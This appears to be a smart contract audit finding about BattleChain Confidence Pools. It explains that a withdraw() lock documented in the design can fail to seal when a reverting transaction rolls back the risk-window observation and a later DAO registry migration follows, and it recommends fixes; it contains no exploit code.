BattleChain Confidence Pools

Description

• withdraw() is meant to be gated by a one-way latch: DESIGN §11 asserts that "a benign upstream state rewind cannot re-open withdraw" because the exit is gated on riskWindowStart != 0 (§9), not solely on live registry state. The latch is intended to be sealed the moment the pool ever observes an active-risk registry state, permanently locking principal until resolution.

• The seal is only durable when a committing transaction observes the active-risk state. A withdraw() attempt during an active-risk window calls _observePoolState() (which sets riskWindowStart), but the very next gate then reverts the whole transaction, unwinding that write. When the only pool activity during the active-risk interval is such a self-reverting withdraw() (or genuine inactivity), riskWindowStart stays 0. A subsequent benign DAO migration of the registry pointer to a fresh, history-less registry that truthfully reports NOT_DEPLOYED then re-opens withdraw(), so DESIGN §11's flat affirmative claim does not hold.

Risk

Likelihood:

• When an active-risk interval (e.g. UNDER_ATTACK) passes with no committing pool interaction — the natural interaction, a staker's withdraw(), self-reverts and rolls back its own _markRiskWindowStart() observation, leaving riskWindowStart == 0.

• When the DAO subsequently performs a setAttackRegistry pointer migration (onlyOwner) to a fresh, history-less registry that accurately reports NOT_DEPLOYED for the agreement — a "legitimate DAO registry migration" that DESIGN §11 itself contemplates as a real, benign event.

• When the agreement later resolves CORRUPTED, so the principal that escaped would otherwise have been swept to the recovery/whitehat path.

• Trust-model note (honest): this is a documentation-vs-behavior precision gap, not a theft primitive — it borders on Informational. The migration precondition is a trusted-DAO action and no untrusted actor can trigger it; the only beneficiary is the staker recovering their own principal. It is reportable because the trigger is explicitly in-model and benign, so §11's unconditional claim is genuinely imprecise rather than a false positive.

Impact:

• The withdraw() permanent-lock guarantee DESIGN §11 documents does not hold across a benign history-less registry migration; the staker's principal exits after the risk window instead of remaining locked.

• From the PoC: Alice's 100e18 principal escapes; on the later CORRUPTED resolution snapshotTotalStaked == 0, so the named whitehat's bounty entitlement is only 20e18 (bonus) instead of the full 120e18 — the intended CORRUPTED recipient is short exactly 100e18 (RECIPIENT_SHORTFALL).

• The 100e18 is Alice's own principal returning to Alice, never a third party's funds — the exact worst case DESIGN §11 pre-accepts ("principal returned to stakers rather than swept").

Proof of Concept

Recommended Mitigation

Primary fix (honest, complete for the stated invariant): correct DESIGN §11/§9 to scope the guarantee to a sealed latch.

Stronger, code-level option if the team wants the lock to hold unconditionally: have an active-risk withdraw() attempt commit the seal instead of reverting it away — seal riskWindowStart and deny via an early return/no-op rather than revert, so the observation persists.